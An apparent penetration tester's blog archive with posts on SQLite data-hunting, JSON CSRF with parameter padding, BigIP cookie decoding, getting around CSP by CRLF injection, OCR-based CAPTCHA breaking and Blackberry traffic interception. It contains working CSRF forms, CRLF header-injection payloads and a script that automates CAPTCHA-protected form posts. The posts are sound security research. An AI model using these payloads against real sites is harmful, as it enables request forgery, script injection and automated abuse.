Saturday, February 25, 2012

Sqlitespy for Sqlite Database analysis

Sqlite is the ubiquitous database for mobile applications on iPad, iPhone and Android. It is also used by certain internet browsers, web application frameworks and software products for their local storage needs. While doing penetration tests, we often see sensitive information like usernames, passwords, account numbers, SSN etc… insecurely stored in these databases. Thus, every penetration test requires comprehensive analysis of the local databases being used.


While analyzing databases, a penetration tester repeatedly does the following:
  1. Opens the database in sqlite reader (sqlite3 or other readers)
  2. Views various tables and columns to understand database layout and schema.
  3. Analyzes the storage for sensitive information.
As the number and size of database increases, the analysis time increases exponentially. To escape the recurring pain, I wrote a ruby script to automate this process. The script achieves the following:
  1. Analyzes multiple databases in a single run.
  2. Queries and displays database schema.
  3. Provides an option to run search on Table and Column Names for quick analysis.
  4. Performs case-insensitive regular expression search (default). This can be controlled with command line options to one’s requirements.
  5. Displays Database, Tables and Row Number reference for every successful match.
  6. Dumps database rows on a successful match.
  7. Looks for search strings in the following:
    • Table Name
    • Column Names
    • Actual Data
Sqlitespy dependencies are listed below:
  1. Ruby
  2. Sequel Gem
  3. Sqlite3



Figure 1: Image shows sqlitespy help


Figure 2: Image shows sqlite sample run with multiple search strings and row information dump for a successful match


Figure 3: Image shows sqlitespy sample run with minimal information


Figure 4: Image shows sqlite database schema dump

Sqlitespy Code Follows:

 #Author: Gursev Singh Kalra  
 require 'rubygems'  
 require 'optparse'  
 require 'ostruct'  
 require 'sequel'  
   
   
 class CmdLineOptions  
   
  def self.parse(args)  
   options = OpenStruct.new  
   options.dbs = []  
   options.sstrings = []  
   options.show_schema = false  
   options.case_sensitive = false  
   options.exact = false  
   options.verbose = false  
   options.rowdump = false  
   options.metadata = false  
   
   opts = OptionParser.new do |opts|  
   opts.banner = "Usage: sqlitespy.rb [options]\n\nSpecific Options:"  
   
   opts.on("-d", "--database DATABASE_PATH",  
    "Sqlite database to analyze.") do |db|  
    options.dbs << db  
   end  
   
   opts.on("-s", "--show-schema", "Show database schema") do |show|  
    options.show_schema = show;  
   end  
   
   opts.on("--find x,y,z", Array, "Strings to search") do |list|  
    options.sstrings = list  
   end  
   
   opts.on("-c", "--case-sensitive", "Perform case sensitive search. Default is case insensitive.") do |case_sensitive|  
    options.case_sensitive = case_sensitive;  
   end  
   
   opts.on("-e", "--exact--match", "Perform exact match for the search strings") do |v|  
    options.exact = v;  
   end  
   
   opts.on("-r", "--row-dump", "Dump Database Row when a match is found") do |v|  
    options.rowdump = v;  
   end  
   
   opts.on("-m", "--metadata", "Look for search strings only in DB metadata (table and column names)") do |v|  
    options.metadata = v;  
   end  
   
   opts.on("-v", "--verbose", "Verbose output") do |v|  
    options.verbose = v;  
   end  
   
   opts.on_tail("-h", "--help", "Show this message") do  
    puts opts  
    exit  
   end  
   
   end  
   
   opts.parse!(args)  
    options  
   end# parse()  
   
 end# class CmdLineOptions  
   
 options = nil  
   
 begin  
  options = CmdLineOptions.parse(ARGV)  
 rescue (OptionParser::InvalidOption)  
  $stderr.puts "[-] Invalid option "  
  options = CmdLineOptions.parse(ARGV+["-h"])  
 end  
   
 if(options.dbs.length == 0)  
  $stderr.puts "[-] No Database available. Exiting !!"  
  exit  
 end  
   
 dbs = []  
 options.dbs.uniq!  
   
 dbs = options.dbs.collect do |db|  
  begin  
   throw Errno::ENOENT unless(File.file?(db))  
   Sequel.sqlite(db).tables  
   db  
  rescue  
   $stderr.puts "[-] \"#{db}\" is not a sqlite database"  
   nil  
  end  
 end  
   
 options.dbs = dbs.compact  
   
 if(options.dbs.length == 0)  
  $stderr.puts "[-] No Database available. Exiting."  
  exit  
 end  
   
 options.sstrings.uniq!  
   
 if(options.show_schema)  
   
  puts  
  puts "+"*80  
  puts "Database Schemas"  
  puts "+"*80  
   
  options.dbs.each do |db|  
   puts  
   puts "[DATABASE] #{db}"  
   Sequel.sqlite(db) do |dbhandle|  
    dbhandle.tables.each do |table|  
     puts "\t[TABLE] #{table}"  
     puts "\t\t[COLUMNS] #{dbhandle[table.to_sym].columns.join(', ')}"  
    end  
   end  
  end  
   
  puts "-"*80  
   
 end  
   
 regex_strings = []  
 regex_strings = options.sstrings.collect do |search|  
   
  regexstr = ""  
  regex = nil  
  if(options.exact)  
   regexstr = "^#{search}$"  
  else  
   regexstr = "#{search}"  
  end  
   
  if(options.case_sensitive)  
   regex = Regexp.new("#{regexstr}")  
  else  
   regex = Regexp.new("#{regexstr}", Regexp::IGNORECASE)  
  end  
  regex  
   
 end  
   
 options.sstrings = regex_strings  
   
 options.dbs.each do |database|  
   
  if(options.verbose)  
   puts  
   puts "+"*80  
   puts "Analyzing Database '#{database}'"  
   puts "+"*80  
  end  
   
  Sequel.sqlite(database) do |databasehandle|  
   databasehandle.tables.each do |table|  
    if(options.verbose)  
     puts  
     puts "-"*80  
     puts "Analyzing Table '#{table}'"  
     puts "-"*80  
    end  
   
    options.sstrings.each do |regex|  
     if(regex.match(table.to_s))  
      puts "[+] Table Name Match Found -> Database '#{database}' -> TABLE '#{table}'"  
     end  
    end  
   
    #Column Name Search  
    databasehandle[table.to_sym].columns.each do |column_name|  
     options.sstrings.each do |regex|  
      if(regex.match(column_name.to_s))  
       puts "[+] Column Name Match Found -> Database '#{database}' -> TABLE '#{table}' -> COLUMN '#{column_name}'"  
      end  
     end  
    end  
   
    #Data Search  
    if(options.sstrings.length > 0 && !options.metadata)  
     row = 0  
     databasehandle[table].each do |rowHash|  
      row = row + 1  
      rowHash.each do |key, value|  
       options.sstrings.each do |regex|  
        if(regex.match(value.to_s))  
         puts "[+] Data Match Found -> Database '#{database}' -> TABLE '#{table}', COLUMN '#{key}' -> ROW '#{row}'"  
         puts "\t[*] Row Dump\t=>\t#{rowHash.values.join('|')}" if(options.rowdump)  
        end  
       end  
      end  
     end  
    end  
   end  
  end  
 end  

Thursday, December 22, 2011

JSON CSRF with Parameter Padding


JavaScript Object Notation (JSON) format is one of the prominent data exchange formats of the contemporary web applications. When a web application implements JSON, Cross Site Request Forgery (CSRF) payload delivery gets bit tricky because of query string and JSON format mismatch. With couple of tricks however, we can successfully execute CSRF attacks with JSON payloads.

Let’s assume that the browser sends the following JSON to the web server.
{"a":1,"b":{"c":3}}

Scenario 1: One of the mechanisms to execute JSON CSRF is to use the entire JSON payload as parameter name in a self submitting form. For example, loading the HTML code below and clicking the submit button sends malicious JSON to the web server:
  1. <html>
  2. <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}}' type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>


At line# 2, the enctype form attribute is set to text/plain so that the JSON gets delivered as is. The enctype attribute may not be required, but is good to have. At line# 3, entire JSON payload is provided as a parameter name. When the form gets posted, the payload is delivered and CSRF executes.

Image below shows JSON payload delivery with the technique described above.














This technique may fail in some cases when the server side JSON parsers reject the incoming JSON because of the trailing ‘=’ character.

Scenario 2: JSON Parameter Padding to the rescue
In scenario 1, the trailing ‘=’ character may ruin the party when server side JSON parsers enforce strict parsing rules. To overcome this, an additional parameter can be padded towards the end of JSON payload to send a well formed JSON. Similar to GET & POST parameter processing, JSON parsers will successfully parse the JSON, pick the required parameters and ignore the extraneous ones. This allows a successful CSRF attack against vulnerable web applications. 

Below, the HTML code in scenario 1 is modified to add an extraneous parameter to the JSON payload:
  1. <html>
  2. <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>


At line# 3, the component in red is the original JSON and the blue component helps add the extraneous parameter to the JSON payload. The screenshot below shows the JSON payload delivered when the above HTML is executed. The ignore_me parameter absorbs the trailing '=' character and has a value "=test". 

The end result, successful server side JSON Parsing and CSRF goodness :)

Image shows a well formed JSON sent using parameter padding

It is important to note that the discussed attack vectors may not work if the server validates the “Content-Type” request header to represent a JSON payload.



Sunday, December 18, 2011

Decoding BigIP Cookie

BigIP cookie contains internal network IP and port information in encoded format. When decoded, these cookies can help create an internal network map with potential web server IPs and their ports.

F5 has described the encoding algorithm here. It works like this:
  1. If the IP address is a.b.c.d, it is encoded as d*256^3 + c*256^2 + b*256 +a
  2. To encode the port is to take the two bytes that store the port and reverse them. Thus, port 80 becomes 80 * 256 + 0 = 20480. Port 1433 (instead of 5 * 256 + 153) becomes 153 * 256 + 5 = 39173.
  3. These values are combined into cookie as <Encoded IP Address>.<Encoded Port Address>.<Componenet we are not concerned about>
These decoding mechanisms are packed into the following ruby script:
#!/usr/bin/ruby
#Cookie: BIGipcookie => 404007104.20480.0000
#Cookie: BIGipcookie => 404007104.39173.0000
if (ARGV.length == 0)
  $stderr.puts "No input provided. Run as \n\tbigip.rb BigIP Cookie Value"
  exit
end
ips = ARGV[0].split(".") 
encoded_val = ips[0].to_i
port_val = ips[1].to_i
ip = []
port = []
4.times do
  ip << encoded_val%256
  encoded_val /= 256
end
2.times do 
  port << port_val%256
  port_val /= 256
end
puts "IP Address : #{ip.join(".")}"
puts "Port       : #{port[0]*256 + port[1]}"

A Sample bigip.rb run

Monday, November 28, 2011

Evading Content Security Policy With CRLF Injection

Content Security Policy (CSP) was developed with the aim of reducing content injection attacks like Cross Site Scripting. CSP allows the developers to specify the permitted content sources for their web applications and relies on HTTP response headers to enforce content restrictions.

When CSP is implemented by the web application and supported by the web browser, content injection attacks can be performed by:

  1. Exploiting flaws in browser CSP implementation
  2. Manipulating HTTP response headers.

CRLF injection is one possible technique by which an attacker can control HTTP response headers. If client provided parameters are returned in response headers without any validation, CRLF injection can be used to bypass CSP restrictions.

For demonstrations, two web pages were setup with the following content at two different origins
Webpage 1: http://localhost:3000/csp
Content:
http://localhost:3333/xss.js

Webpage 2: http://localhost:3333/xss.js
Content:
alert('XSS’)


CRLF Injection and CSP:
If a HTTP response contains same HTTP header multiple times, different browsers interpret the headers  differently. Certain browsers interpret the first occurrence of the HTTP header, others choose the last one. Hence, positioning of CSP directive (X-Content-Security-Policy) in application response can play an interesting role. In the discussion below, we assume that the web application implements CSP and is vulnerable to CRLF injection:

Case 1: Attack vector is returned before the CSP header in the HTTP response headers:
Case 1a: If the browser picks the first occurrence of the CSP header, CRLF injection can then be used to insert a CSP header with following attack vector:

lang=en_US%0d%0aX-Content-Security-Policy: allow *

In this case, the web browser will interpret the first CSP header and will happily retrieve content from any malicious URL.

Image shows malicious CSP directive inserted before the legitimate header 

Case 1b: If the browser picks the last occurrence of the CSP header, following CRLF injection attack vector can be used to insert custom CSP header.

lang=en_US%0d%0aX-Content-Security-Policy: allow *%0d%0a%0d%0a

Two trailing occurrences of CRLF will push the CSP directive into the content and will not be interpreted as a CSP directive. This again allows attacker to bypass CSP protection and execute and source arbitrary content.


Image shows CSP directive pushed out to response body and rendered ineffective 

Case 2: Attack vector is returned after the CSP header in the HTTP response headers
Case 2a: If the browser picks the first occurrence of the CSP header, the CSP directive cannot be overridden for the current resource. For an attack to function one has to look into the possibility of exploiting HTTP Response Splitting.

Case 2b: If the browser picks the last occurrence of the CSP header, CRLF injection can be used to insert a malicious header similar to case 1a.

lang=en_US%0d%0aX-Content-Security-Policy: allow *

This will cause the browser to interpret the CSP directive as allow * to retrieve content from arbitrary URLs.

It was observed that when more than one X-Content-Security-Policy headers were received by Firefox (7.0.1), it securely defaulted to same origin policy for all content.

The POC below pushes the headers out to the response body by two CRLF sequences to achieve script execution.

Image shows script execution prevented from a different origin (http://localhost:3333)
Image shows successful script execution when the page was vulnerable CRLF injection


Thursday, November 17, 2011

CAPTCHA Hax With TesserCap

With the goal of creating a tool that can help security professionals and developers to test their CAPTCHA schemes, I conducted a research on over 200 high traffic websites and several CAPTCHA service providers listed on Quantcast’s Top 1 Million Ranking Websites.

During the same time frame, students at the Stanford University also conducted a similar research (PDF). Both research works concluded the obvious:

An alarming number of CAPTCHAs schemes are vulnerable to automated attacks.

I looked around, tested and zeroed in on Tesseract-OCR as my OCR engine. To remove color complexities, spatial irregularities, and other types of random noise from CAPTCHAs, I decided to write my own image preprocessing engine. After a few months of research, coding and testing in my spare time, TesserCap was born and is ready for release now.

TesserCap is a GUI based, point and shoot CAPTCHA analysis tool with the following features:
  1. A generic image preprocessing engine that can be configured as per the CAPTCHA type being analyzed.
  2. Tesseract-OCR as its OCR engine to retrieve text from preprocessed CAPTCHAs.
  3. Web proxy support
  4. Support for custom HTTP headers to retrieve CAPTCHAs from websites that require cookies or special HTTP headers in requests
  5. CAPTCHA statistical analysis support
  6. Character set selection for the OCR Engine
An example TesserCap image preprocessing and run on Wikipedia (Wikimedia’s Fancy CAPTCHA) is shown below:



Downloads

TesserCap and it's user manual can be downloaded from one of the following locations:

Results

The two tables below summarize the CAPTCHA analysis performed using TesserCap for few popular websites and some CAPTCHA service providers. All these tests were performed using TesserCap’s image preprocessing module and Tesseract-OCR’s default training data.





Website Accuracy* Quantcast Rank
wikipedia 20-30% 7
ebay 20-30% 11
reddit.com 20-30% 68
CNBC 50+% 121
foodnetwork.com 80-90% 160
dailymail.co.uk 30+% 245
megaupload.com 80+% 1000
pastebin.com 70-80% 32,534
cavenue.com 80+% 149,645




CAPTCHA Provider Accuracy*
captchas.net 40-50%
opencaptcha.com 20-30%
snaphost.com 60+%
captchacreator.com 10-20%
www.phpcaptcha.org 10-20%
webspamprotect.com 40+%
ReCaptcha 0%



*This accuracy maybe further increased by training the Tesseract-OCR engine for the CAPTCHAs under test.

Wikipedia






OpenCaptcha Preprocessing






OpenCaptcha Sample Run




Reddit




eBay

Friday, June 17, 2011

Intercepting Blackberry Application Traffic


Intercepting mobile traffic is one of the key areas of mobile application penetration testing and Blackberry mobile applicatiosn are no different. In this post, we will look at methods of intercepting blackberry application traffic.

It is important to note that the standalone blackberry simulator does not offer any mechanism to route HTTP traffic over a web proxy. To use a web proxy for traffic interception, one has to use blackberry device simulator + MDS and email simulator. Assuming you have both installed, following steps will allow you to intercept blackberry web traffic.

Case 1: Routing HTTP traffic via web proxy:

  1. Browse to "\Program Files\Research In Motion\BlackBerry Email and MDS Services Simulators #.#.#\MDS\config"
  2. Open the rimpublic.property file
  3. Under the HTTP HANDLER section, add your web proxy configuration information:
application.handler.http.proxyEnabled=true
application.handler.http.proxyHost=<your proxy address>
application.handler.http.proxyPort=<your proxy port>

The following image shows the rimpublic.property file HTTP HANDLER section for fiddler running on port 8888 on localhost.

Web Proxy Configuration
More details on proxy configuration can be seen here. Once you save these settings and launch MDS simulator, you will be able to monitor, intercept and modify all HTTP traffic. However, we still need to put in some extra work for SSL traffic.


Image shows HTTP traffic captured for google.com


Case 2: Routing HTTPS traffic via web proxy:
The above mentioned configuration was not successful when attempted on SSL traffic. It was time for some workaround and I thought of using a reverse proxy. The idea of using reverse proxy had some limitations but it worked seamlessly and allowed me to intercept SSL traffic for a particular domain. To demonstrate this concept, I will be using Charles Proxy's Reverse Proxy. You can use any reverse proxy of your own choice. Lets configure the Charles proxy now.
  1. Obtain the IP address to which the application/browser talks
  2. Obtain the IP for the target domain. nslookup for mail.google.com revealed four DNS entries(74.125.226.184, 74.125.226.182, 74.125.226.181, 74.125.226.183) and one of them was chosen to be destination for reverse proxy settings. See the screenshots below for Charles Reverse Proxy settings.
  3. In the hosts file make an entry to forward all the target domain address to the IP at which reverse proxy is hosted. In our case, I entered the following for mail.google.com
    127.0.0.1 mail.google.com
  4. Now launch your browser and access https://mail.google.com
  5. The blackberry simulator will issue a certificate error. Choose the "Trust Certificate" option, provide certificate store password and  the save your settings.
  6. All the traffic will be routed via Charles now. Enjoy!

To summarize reverse proxy settings (Two sets of entries):
Entry 1: To ensure that all SSL traffic is forwarded to mail.google.com:443
Listening on : 127.0.0.1:443
Forwarding to: 74.125.226.181:443 #one

Entry 2: To ensure that all plain HTTP is forwarded too
Listening on : 127.0.0.1:80
Forwarding to: 74.125.226.181:80
Image shows reverse proxy settings in Charles

Image shows the certificate error issued when https://mail.google.com is access via reverse proxy. Choosing the "Trust Certificate" options allows SSL traffic to be intercepted.

Saturday, March 19, 2011

Breaking A Weak CAPTCHA implementation

A while back I came across a web application that implemented captcha to prevent automated form entries. The captcha was weak and could be easily solved. Below I summarize the steps followed and provide sample ruby scripts that were used to perform automated form submissions. The page names, form fields etc... are fictitious and do not reflect the exact application data/behavior.


So lets get started. Here is one sample captcha obtained from the website.




My first thought was to try the free "OCR to text" conversion service provided by guys at Free-Ocr. I uploaded few captchas to the website and it could successfully solve almost all of them. One solved capcha is shown below.




Now I knew that the CAPTCHA can be solved, and needed a way to automate the process of solving the captcha. I turned to Tesseract to do that for me. Tesseact enjoys the reputation of being one of the most accurate open source OCR engines available.


Tesseact was downloaded and installed on a windows box. The page requiring captcha input was sourcing captcha's from a php script on the web server. Lets say its path is http://www.test.com/get_captcha.php. The following script helped download a sample captcha, stored it on local file system and then solved it. 


require 'net/http'
tesseract = 'C:\Tesseract-OCR\tesseract.exe'
q = Net::HTTP.new('www.test.com',80)
# Download new captcha
r = q.get("/get_captcha.php")
File.open("captcha.bmp",'wb') do |f|
f.puts r.body
end
# Solve the CAPTCHA
system("#{tesseract} captcha.bmp captcha") #Output gets stored in captcha.txt

Most of the sourced captchas could be successfully solved using the script above. Good! 

The next obvious step was to automate the entire process of form submissions. The application used PHPSESSIONID to associate captchas with sessions. http://www.test.com/home.php was issuing the PHPSESSIONID and the same sesssion value was being sent to /get_captcha.php to retrieve a captcha. To automated the process, following was required:
  1. GET /home.php page and capture the value of PHPSESSIONID.
  2. Retrieve a captcha by accessing /get_captcha.php while using the captured PHPSESSIONID.
  3. Solve the captcha locally
  4. POST the form fields along with PHPSESSIONID and the captcha value
A few more lines to the script above would serve our purpose. The final script looked like below:


require 'net/http'
tesseract = 'C:\Tesseract-OCR\tesseract.exe'
q = Net::HTTP.new('www.test.com',80)
r = q.get("/home.php")
r['set-cookie'] =~ /PHPSESSIONID=(.*?);/
hdr = {'Cookie' => "PHPSESSIONID=#{$1}"}
#get a captcha associated with a valid PHPSESSIONID and solve it
r = q.get("/get_captcha.php",hdr)
File.open("captcha.bmp",'wb') do |f|
f.puts r.body
end
system("#{tesseract} captcha.bmp captcha")
#retrive the captcha value and POST the form details along with valid PHPSESSIONID
captcha = File.read("captcha.txt").strip
q.post('/save_details.php', "fname=gursev&lname=kalra&captcha=#{captcha}" , hdr)



Further Analysis:
The captcha implementation appeared to have more issues. During the analysis around 100 captchas were solved and their values analyzed. Here are the the various observations:
  1. Captchas contained only numerals and hence lesser number of possible combinations.
  2. Out of 100 captchas around 4 duplicate captchas were identified. Thats around 4% of total captchas issued.
  3. Captchas had uneven character distribution with 4's and 5's getting the maximum share of captcha characters. The distribution formed a bell curve with a peak at 4 and 5.